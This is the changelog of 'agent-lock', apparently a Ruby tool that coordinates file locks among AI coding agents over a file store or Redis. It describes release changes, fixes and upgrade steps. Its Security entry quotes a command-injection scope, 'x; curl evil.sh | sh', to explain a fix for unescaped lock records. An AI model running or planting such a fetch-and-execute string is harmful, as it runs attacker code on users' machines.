Changelog
Unreleased
4.0.0 - 2026-11-29
This release adds a Ruby API that runs every command in-process, lets the caller name the store its locks live in (-s, -u, AGENT_LOCK_REDIS_URL, alock switch-backend), and names Redis keys after the repository, so alock show can list them. Redis locks taken by 3.1.0 do not carry over: read "Upgrading from 3.1.0" first.
Upgrading from 3.1.0
- Redis locks do not carry over (#25). Keys moved from
agent-lock:<digest>to[alock-v4-<owner>/<repo>]-<sha256>:<id>, and this version neither reads nor reaps the old ones. Runalock release-allin every session before upgrading, and upgrade every host that shares a Redis together: a 3.1.0 host and a 4.0.0 host do not see each other's locks.alock show reposwarns while old keys remain. On the file store, locks taken by 3.1.0 are still read, refused to others and released. - Three flags are renamed.
alock acquire --forceis--allow-wide.alock skills install --force(-f) is--overwrite, and its--intohas no-o. From Ruby,Manager#acquire(force:)iswide:andSkill#install(force:)isoverwrite:. - A fingerprint session gets a new holder id, once (#60). A running session that sets neither
AGENT_IDnorCLAUDE_SESSION_IDno longer matches the locks it took with 3.1.0. Runalock release-allin it before upgrading, or clear them afterwards withalock break <path>. alock listprints a table, and astore:line on STDERR (#46, #68). A script that read the text listing should read--json, which is still a bare array on STDOUT. A harness that reads both streams as one, or treats any STDERR output as a failure, sees one new line.checkanswersFREE, notYOURS, for a scope wider than your own lock (#59). Holdinglib/a.rband asking aboutlib/**isFREE(:freefrom Ruby,[]with--json), becauseacquirewould write a new lock there. A script that readYOURSas "this whole scope is mine" has toacquirethe wider scope.- Scopes are compared with case folded, on every filesystem (#58).
README.mdandreadme.mdnow conflict, on a case-sensitive filesystem too, where they are two files. acquire --enforcefreezes dotfiles (#61). Files in dot-directories now count toward the 500-file limit, so a whole-tree--enforcethat fitted before may be refused: narrow the scope or pass--allow-wide.- A relative
AGENT_LOCK_DIRis read from the root of the checkout (#50), not from the working directory. Locks 3.1.0 wrote from a subdirectory sit in a store under that subdirectory and are no longer read: release them before upgrading. - An
AGENT_PARENT_IDthat is set and empty means "no parent" (#23). It used to be ignored and the parent inferred, so a sub-agent with the variable exported empty by accident is now refused inside its orchestrator's lock.alock whoaminames the cause.
Added
Agent::Lock::Facade: every command as a Ruby method, run in-process.Agent::Lock.local(file store),Agent::Lock.distributed(Redis, orRedisUnavailableError) andAgent::Lock.facade(Redis, else the file store). Thread-safe. A facade is bound by the checkout's backend marker likealock: it claims a new checkout for its backend and raisesStore::Mismatchin one claimed for the other, so a facade and the CLI never take one scope in two stores. SeeREADME.md#ruby-api.Agent::Lock::RefusedandAgent::Lock::RedisUnavailableError.Facade#acquiretakes a block: it yields the result, returns the block's value, and releases afterwards, even when the block raises,breaks orthrows. Only a lock this call took is released, so a nested block on a scope you already hold keeps the outer lock. A refused release does not replace the block's own exception.Facade.new(async: true)andAgent::Lock.facade(async: true)add#async, which runs any lock method on concurrent-ruby's I/O pool and returns aConcurrent::Promises::Future. Arguments, keywords and blocks pass through as on a direct call. One facade's async calls run one at a time, in the order they were made. concurrent-ruby is not a direct dependency (dry-cli-uicurrently installs it): add it to your Gemfile to rely on this; if it is missing,async: trueraisesLoadErrornaming the gem.holder:onFacade.newandAgent::Lock.facade.:process, the default, ties a lock's liveness to the Ruby process holding the facade, so a host that crashes has its locks reaped;:sessionkeepsalock's first-non-shell-ancestor rule. Only liveness changes: the holder id and the inferred parent still come from the session, so a script an agent runs is the same holder as that agent'salock.session_name:onFacade.new,Agent::Lock.facadeand every lock method (#19). It names the session (a plan id, say) in place ofCLAUDE_SESSION_IDand the fingerprint, and ties its locks to no process: they survive a host's restarts, a restarted host that gives the same name holds them still, and they lapse when untouched forstale_minutes.- A holder can say it has no parent (#23):
parent_id: falseonFacade.new,Agent::Lock.facadeand every lock method, andAGENT_PARENT_IDset and empty foralock. A service that names itself is otherwise inferred to be the child of the session that started it, and is not blocked by that session's locks. Unset still infers.Identity#parent_sourceanswers:nonefor it. Agent::Lock.distributed(redis_url:), memoized per URL. With noredis_url:a facade readsAGENT_LOCK_REDIS_URL, thenREDIS_URLunless it is blank, thenredis://127.0.0.1:6379/0, the local Redisalocktries (#44, #52).alock --locking-strategy redis|filesystem(-s) andalock --redis-url URL(-u), on every command that reads or writes locks (#21). The caller names the store instead of leaving it toAGENT_LOCK_BACKENDor to whichever backend answers first, so an agent started by a dispatcher uses the dispatcher's store.--redis-urlimplies the Redis strategy and uses that one Redis with no fallback: a URL nobody answers on exits 2.AGENT_LOCK_REDIS_URL:--redis-urlfrom the environment, for a dispatcher to export to its agents. The facade reads it beforeREDIS_URL.alock show reposandalock show repo owner/name, Redis only (#25, #32, #49).show repostables eachalock-v<major>-<owner>/<repo>with its lock count and the memory those keys use.show repotables that repository's locks: scope, holder, how long held, whether the holder is alive on this machine, and thealock breakcommand that drops it.show repowith no name reads the repository of the checkout it runs in, taken from its origin remote, andFacade#show_repodoes the same for itsdir:. A repository on another forge is named with its host,show repo gitlab.com/owner/name. Neither command reads the file store: when Redis has nothing and this checkout's locks are in the file store, both say so and point atalock list.show reposwarns on STDERR when keys from an older gem are still underagent-lock:.alock switch-backend redis|filesystem, which binds a checkout to the other store (#30, #62, #64). Releasing every lock never moved the backend marker, so the only way out of a mismatch was deleting.git/agent-locks/backendby hand. It refuses with exit 1 while the old store still holds this checkout's locks, interrupted ones included, and lists them.--discard-locksdeletes them, thawing what they froze, and switches.-unames the Redis to switch to, which has to answer before anything is deleted. From Redis, only locks taken on this host in a worktree of this checkout count. When the old store is a Redis that no longer answers,--discard-locksswitches anyway and says on STDERR which Redis was not read.switch-backend filesystemruns withAGENT_LOCK_REDIS_URLexported, and the command rebinds a checkout whose marker names no backend. A command that was waiting on the old store while the switch ran exits 2 and asks to be run again.- A backend mismatch prints
HINT: run 'alock switch-backend <store>'on the line after the error, uncoloured, and so does a marker that names no backend.Agent::Lock::Error#commandcarries that command for any error that has one. alock -hopens with a boxed title and the version, and links to the README's Ruby API section.
Changed
- Breaking for Redis users: a lock key is
[alock-v<major>-<owner>/<repo>]-<sha256>:<id>(#25). Forgithub.com/kigster/laser-cutteron 4.x that label is[alock-v4-kigster/laser-cutter]. The SHA-256 is ofrepository@branch, so every worktree on that branch shares it, and a different branch hashes apart. A detached HEAD hasheshost:worktree-path.liststill reads every branch under the label, and the mutex is one per repository ([alock-v4-kigster/laser-cutter]-mutex), so a checkout that switched branches can still release the lock it took. GitHub keys drop the host. Any other forge keeps it, sogitlab.com/kigster/laser-cutterdoes not share a label with the GitHub repository. Every 4.x release shares the prefix, so hosts on different minors still exclude each other. Only a new major starts another one. Keys written asagent-lock:<digest>are not read and not reaped. Release them before upgrading, or delete them by hand whenAGENT_LOCK_TTL_SECONDSis0. The file store is unchanged. - Breaking:
alock acquire --forceis now--allow-wide, named for what it permits:--enforcefreezing more than 500 files. The refusal says so. - Breaking:
alock skills install --force(-f) is now--overwrite, and--intoloses its-oshort flag, which every CLI here reserves for--output. - Breaking (Ruby):
Manager#acquire(force:)is nowwide:, andSkill#install(force:)is nowoverwrite:, matching the CLI flags. - Breaking: scopes that differ only in case (
README.md,readme.md) conflict on every filesystem (#58). A lock keeps the spelling and the id it was taken under. - Repository names are lower-cased whole, owner and repository as well as the host, so two clones whose remotes differ in case share their locks (#58). A remote that names a directory (
/srv/git/App.git,file:///srv/git/App.git) keeps its case. alock list(ls) prints this repository's locks as a table: namespace, holder, scope, status (active,stale,interrupted), and how long held (#46). Progress notes are omitted unless--notes, which prints them on the row under that lock. A file-store listing says so above the table: the namespace is the Redis label, andshowdoes not read those locks.alock listnames the store in use on STDERR (store: ...): the file store's directory, or the Redis URL with any password masked and its namespace (#68). It does so in text and with--json. STDOUT is unchanged, so--jsonis still a bare array.- The mismatch error reads
this tree's locks live in file, not redis. The oldrelease them before switching backendsis gone, since releasing them did not switch anything. - Requires Ruby 4.0 (#44). The gemspec said
>= 3.2.0, butdry-cli-autocomplete0.6, a runtime dependency, needs Ruby 4.0, so no 3.x Ruby could install the gem: CI tried 3.2 and 3.4, andbundle installfailed on both. --diris offered only by commands that read a checkout's locks.version,whoamiandskillsno longer list a flag that did nothing.- Every command's help is rewritten: one-line descriptions that fit the command list, examples for
break,resumeandmine, and a top-level help that covers identity, backends and exit codes. alock completion --helpshows each install example once; the zsh one no longer names_alo.- The gemspec and README no longer describe the gem as part of agentilda.
Fixed
alockexits 2 with anERROR:line on any error it did not expect. It used to print nothing and exit 0, so anacquirethat died on a malformedREDIS_URLlooked like a lock taken.AGENT_LOCK_BACKEND=rediswith no Redis answering no longer claims a virgin tree for Redis before failing.- An
AGENT_LOCK_BACKENDthat names no backend is refused before a virgin checkout is claimed, where 3.1.0 wrote the bad name into the marker (#62). A blank value counts as unset, andfilesystemmeansfile. - A backend marker that exists but cannot be read raises
Store::Mismatchnaming the read error, instead of being reported as empty. - The backend marker is written to a temp file and hard-linked into place, so a process that loses the race for a new checkout never reads it empty. A marker that stays empty raises
Store::Mismatchinstead of letting each caller pick its own backend. - An empty or whitespace-only
AGENT_LOCK_DIRcounts as unset, and a relative one resolves against the root of the checkout instead of the working directory, so every command in a checkout uses one store (#50). - Concurrent
notecalls on one lock no longer lose notes (#17):note,release,break,release-all,Manager#reapand the reaping beforecheck,listandminenow run inside the store mutex, asacquireandresumealready did. - The file store no longer raises
Errno::ENOENTwhen several threads in one process rewrite the same lock (reaping, noting): each write gets its own temp file instead of one per process. checkno longer answersYOURSfor a scope only partly covered by the caller's own lock (holdinglib/a.rb, asking aboutlib/**). It answersFREEunless one of the caller's locks contains the whole scope, asacquiredoes (#59).- A live holder's lock is no longer reaped, and a fingerprint session no longer changes its name, when
alockruns under anotherTZor locale (#60). The holder's start time is recorded in UTC asstarted_at, where 3.1.0 storedpsoutput in the caller's time zone and language. The oldstartedis still read and no longer written, so locks taken by 3.1.0 stay valid, and a 3.1.0 gem reading a new lock goes by the pid alone.list --jsoncarriesstarted_atbesidestarted. - A fingerprint identity no longer contains spaces when the session's process has retitled itself (macOS reports a Claude Code background job as
claude bg-spare). Only the first word is kept. Together with the UTC start time this gives a fingerprint session a new holder id once: see "Upgrading from 3.1.0". - A lock whose record names no pid is trusted for the stale window, like one held on another host, instead of being reaped at once as a dead holder's.
- An intent that contains
## Progressno longer turns a dead holder's note-less lock into interrupted work (#52). acquire --enforcefreezes dotfiles and the contents of dot-directories (conf/.env,config/credentials/.key), which the glob used to skip while reporting the scope frozen (#61). Anything named.git, at any depth, and the lock store are never frozen.acquire --enforceno longer overwrites the lock with the record it read before freezing. The write-back re-reads the lock under the store mutex, so a note written during the freeze is kept, a lock broken during the freeze stays broken, and another agent's lock taken in that window is neither replaced nor, on a freeze refused as too broad, deleted. A claim lost during the freeze is answered as:held, with the files thawed.- Files frozen with
--enforceare thawed in the checkout that froze them when their lock is reaped, released, discarded or resumed from another worktree on the same machine (#54). They used to stayuchgwith no record left to thaw them from. - An all-digit owner is no longer dropped from an scp-style remote (
git@github.com:123/app.git), so SSH and HTTPS clones of such a repository share one lock namespace again (#53). - A remote whose password holds an unencoded
@(https://me:p@ss@github.com/o/r) no longer leaks the password's tail into the repository's name, and so into its Redis key,alock showand every lock record (#76). Its locks are filed undergithub.com/o/r, beside its teammates' clones, where 3.1.0 named the repositoryss@github.com/o/r. - A Redis URL's password no longer appears in an error, in
Store#describeor ininspectof a facade or a Redis store (#27, #28). 3.1.0 quoted the URL as given in the mutex timeout and when no Redis client could be built. The userinfo is masked as***, also in a password that was never percent-encoded and holds a space, a/or an@, and in a URL with noscheme://in front (rey:secret@host).alockmasks any URL in an error it prints, whoever worded the error. A URL the facade cannot read raisesArgumentError: not a Redis URL: ..., masked and with nocause, in place of redis-rb's own error, which quoted the whole URL. alockignores the variables git exports to its hooks (GIT_DIR,GIT_INDEX_FILEand the rest ofgit rev-parse --local-env-vars), so a hook that runs it with--dirnaming another checkout locks that checkout, not the hook's (#51).
Security
- A lock record can no longer drive the terminal it is printed on (#31). Any process that can write to a shared Redis writes lock records, and
alockprinted their scope, agent ID and intent raw in about twenty places, so an escape sequence could clear the screen, rewrite earlier lines or show a fake link, and a scope likex; curl evil.sh | shlanded unquoted in a suggestedalock breakoralock resumeline. Every printed field now goes throughAgent::Lock::Text.printable, which shows C0 and C1 controls, DEL, bidi overrides and bytes that are not UTF-8 as escapes, and a scope inside a suggested command is shell-quoted. The facade'sRefusedmessages are escaped the same way.
Removed
sig/agent/lock.rbs, an empty RBS stub. Types are declared in YARD.
Development
- A lefthook pre-commit config (rubocop, the staged specs, gitleaks) and a gitleaks config.
- Specs run from a git hook no longer rewrite the repository's own
.git/config(#51). Git exportsGIT_DIRandGIT_INDEX_FILEto hooks, so under the lefthook pre-commit job everygit initandgit remotea spec ran in a temp directory acted on the real repository:core.bareflipped to true andremote.origin.urlwas replaced.spec_helper.rbnow drops every variablegit rev-parse --local-env-varslists, andlefthook.ymlunsets them as well. - The spec suite no longer reaches Redis database 0, or an exported
REDIS_URLorAGENT_LOCK_REDIS_URL(#56). Every Redis spec runs in the suite's own databases 15 and 14. - Seven examples that passed without testing what they describe now fail when the behaviour is removed (#63).
just cleanno longer fails with exit 127, thejust publishfallback no longer passes an optiongem pushrejects, andjust releaseforce-pushes only the tag being released instead of every local tag (#55).just lintruns rubocop instead of the absent standardrb, and thejust update-workflowrecipe, which rantilda, is gone.rake docbuilds the YARD site from.yardoptsinto the git-ignoreddoc/and opensdoc/index.html. Every class, method, constant and attribute is documented.- The coverage badge in
docs/badges/is rewritten only underCOVERAGE=true(just test-coverage), so a plainrspecrun leaves the checkout clean. - A scripted terminal demo,
demo/alock.gif, shown at the top of the README: two agents and a sub-agent sharing one checkout (#70).demo/play.shtypes and runs every command for real against a throwaway repository, with a fixed subtitle row and its pauses written into the script.just demorecords it again with VHS fromdemo/alock.tape, andjust demo-playplays it in the terminal. The gem does not shipdemo/.
3.1.0 - 2026-11-23
This release makes agent-lock a distributed lock. Until 3.0.0 a lock was named after the checkout's absolute path, so even with every machine pointed at one Redis, /Users/a/repo and /home/b/repo were two unrelated namespaces: each machine saw only its own locks, and two agents on two hosts could both claim lib/billing/** on main and both be told they won. A lock now names the repository and branch, which every clone of a repository agrees on wherever it sits. Pointed at one REDIS_URL, every machine reads and writes the same locks under the same store-wide mutex, so a claim on one host is refused on another. See README.md#one-repository-many-machines.
Changed
- Breaking for Redis users: locks are keyed by the repository and branch, not the checkout's absolute path. The Redis namespace is now
agent-lock:<repository digest>and its mutexagent-lock-mutex:<repository digest>, where the repository is the normalizedoriginURL (git@github.com:a/b.gitandhttps://github.com/a/bagree), else the root commit, else the path outside git. Two machines on one Redis, or two clones on one machine, now block each other on overlapping scopes of the same branch, and checkouts on different branches (worktrees, typically) still do not. Locks taken by an earlier version under the old path-keyed namespace are not seen, and are never reaped either: without anAGENT_LOCK_TTL_SECONDSthey stay in Redis until deleted by hand. Release them before upgrading. The file store is unaffected, since its old records are still read and reaped in the checkout that wrote them. - Every lock records the
repoandbranchit was taken on. A lock written by an earlier version has neither, and is matched by its path on the host that wrote it. release,note,breakandresumefind a lock this checkout took on another branch, so switching branches after claiming no longer strands it. That checkout still blocks itself on those files, since they are the same files on disk.releaseandnotetake the lock this session owns when another checkout holds the same scope on the new branch.- A detached HEAD is keyed by its path on its own host, so two machines with a checkout at the same path do not collide.
resumerefuses (exit 1,HELD) when somebody claimed an overlapping scope while the work sat interrupted, and the resumed claim covers the branch the checkout is on now rather than the one the orphan was taken on.- Reaping a lock from another checkout or another machine no longer clears this checkout's freeze flags on files of the same relative name.
.ruby-versionis back on 4.0.6. CI still runs the suite on both 4.0.6 and 4.1.0-preview1.
Fixed
erbis pinned off the yanked 6.1.0, which had madebundle installfail on a clean machine and in CI.- The CLI specs now stay on the test Redis database. Aruba ran them in its own environment, so on the Redis backend they wrote into database 0 of the developer's own Redis, and leftover locks leaked into later examples.
3.0.0 - 2026-10-13
Changed
- Breaking:
alock skill installandalock skill pathare nowalock skills installandalock skills path. The oldskillspelling is gone. alock skills install --helpnames every skill it installs, and renders at all: an empty example string used to crash dry-cli-help, and the launcher exited 0 with no output.- Development moves to Ruby 4.1.0-preview1 (
.ruby-version). CI runs the suite on both 4.0.6 and 4.1.0-preview1, and rubocop on whatever.ruby-versionnames.required_ruby_versionis unchanged. - Development and test gems are grouped in the
Gemfile. - The spec suite uses a local Redis when one answers, even if
REDIS_URLis set.
2.1.0 - 2026-09-30
Added
- Help screens come from
dry-cli-help:alock -hnow opens with the gem's title and a description of what it does and how the two backends are chosen, lists commands in registration order, and wraps everything at 85 columns. The hand-written backend banner that used to print above dry-cli's own help is gone.
Changed
- Finding a Redis now cascades:
REDIS_URLis tried first when it is set, thenredis://127.0.0.1:6379/0, and only when neither answers does a virgin tree default to the file store. PreviouslyREDIS_URLreplaced the local default rather than preceding it, so a shared Redis being down sent the tree straight to the filesystem even with one running locally.RedisStore.urlnow reports the URL that actually answered.
[0.2.0]
Added
- An
agent-lockskill, shipped in the gem underskills/, that teaches an agent to claim files: naming itself on every call, runningalockin the checkout it writes, and claiming its own files inside an orchestrator's lock.alock skill install [--into DIR] [--force]copies it into a skills directory, andalock skill pathprints where the bundled copy is.--for claudeinstalls into~/.claude/skills; without--foror--into,~/.agents/skillsis the default for most other agents. AGENT_LOCK_MUTEX_TIMEOUT, the seconds a claim waits for the store's mutex.whoami, which prints the name this session signs locks with, its parent, and where each came from.- A virgin tree now defaults to the Redis backend when one answers on
REDIS_URL, and the file store when none does, rather than always defaulting to file.AGENT_LOCK_BACKENDstill overrides it, and a tree that already has a backend recorded stays on it regardless of what Redis is doing. Two processes racing to decide the default for the same virgin tree are made to agree: the marker recording the choice is claimed withO_CREAT|O_EXCL, and every process builds from whichever value actually lands on disk rather than its own guess. SeeREADME.md#backends. - Colorized
--helpand error output viapastel, disabled automatically when stdout is not a terminal. AGENT_LOCK_TEST_BACKEND, which runs the whole spec suite against Redis instead of the file store. CI now runs the suite once per backend.
Changed
- The packaged gem no longer includes
.plans/. redisandpastelare now runtime dependencies of the gem, rather than gems you install yourself to opt into the Redis backend: deciding the default now means probing for Redis whether or not you asked for it.- A sub-agent that sets
AGENT_IDbut notAGENT_PARENT_IDtakes its session's own name as its parent:CLAUDE_SESSION_IDif set, else the fingerprint. Claude Code runs sub-agents inside the parent's own process, so without this every sub-agent signed locks as the parent and none could block another. - Ownership no longer runs upwards.
mine,release,release-allandnotecover your own locks and your sub-agents', never your parent's, so a sub-agent finishing up no longer releases the orchestrator's claim. - A sub-agent asking for exactly its parent's scope is refused with exit 1 and told to claim something narrower.
- A scope that is empty, or that resolves outside the tree, is refused with exit 2. An empty scope used to mean the whole tree, and
/etc/passwdused to become a lock on the tree-local filepasswd. Absolute paths inside the tree, globs included, are made relative. listcounts only live locks as held, lists interrupted ones separately, and tags a live lock past the stale windowSTALE, as docheckandmine.--jsoncarriesstale.- Hints and error messages name the program that was run,
alockoragent-lock. whoamiwithoutAGENT_IDwarns that every sub-agent of the session shares that name.
Fixed
- A sub-agent claiming inside its parent's lock was told
ALREADY YOURSand nothing was recorded, so two siblings could both claim the same file. The sub-agent now gets a lock of its own, which blocks its siblings. - Claims on overlapping scopes with different names raced: the conflict scan and the write were separate steps, and
O_EXCLorSET NXonly guard an identical scope. Ten parallel claims oflib/**andlib/aN.rbleft up to eleven overlapping locks. Every claim now scans and writes under one store-wide mutex:flockon the file store, a leasedSET NX PXkey released by compare-and-delete on Redis. - Holding one file and asking for a wider scope answered
ALREADY YOURSand wrote nothing, so the rest of the wider scope stayed open. Only a lock that contains the requested scope counts as already yours now. - A live holder's lock was reaped once it was older than the stale window, measured from when it was taken, so an agent working for more than two hours lost its lock while still writing. A lock on this machine is now cleared only when its holder has exited; one from another machine expires when untouched past the window, and
notecounts as a touch. - The
resumeandbreakhints printed before the listing they belong to whenever stdout and stderr went down one pipe, which is how an agent harness reads them. Stdout is flushed before a hint is written. - A scope starting with a dot, such as
.plans/**or.github/**, produced a lock file whose name also started with one, and the file store'sDir.globskipped it. The lock was written and then enumerated nowhere, solist,mineandcheckreported it absent and a second session was free to acquire an overlapping scope. Both agents were told they held it.
[0.1.0]
First release.
acquire,release,check,list,mine,release-all,break, plusnoteandresumefor work a crash interrupted.- Session identity:
AGENT_ID, elseCLAUDE_SESSION_ID, else a fingerprint of the first ancestor process that is not a shell, so a lock survives the fresh shell an agent harness starts for every command. - Locks live in
.git/agent-locks, one store per repository, shared by every worktree and untrackable by git. - Glob scopes, and a conflict rule that refuses rather than guesses.
- Sub-agents work inside a parent's claim; siblings block each other.
- Stale locks are reaped by liveness, and orphaned rather than deleted when they carry notes.
- Optional Redis backend, chosen explicitly and recorded per tree.
- Optional
--enforcefreeze viachflags uchgon macOS.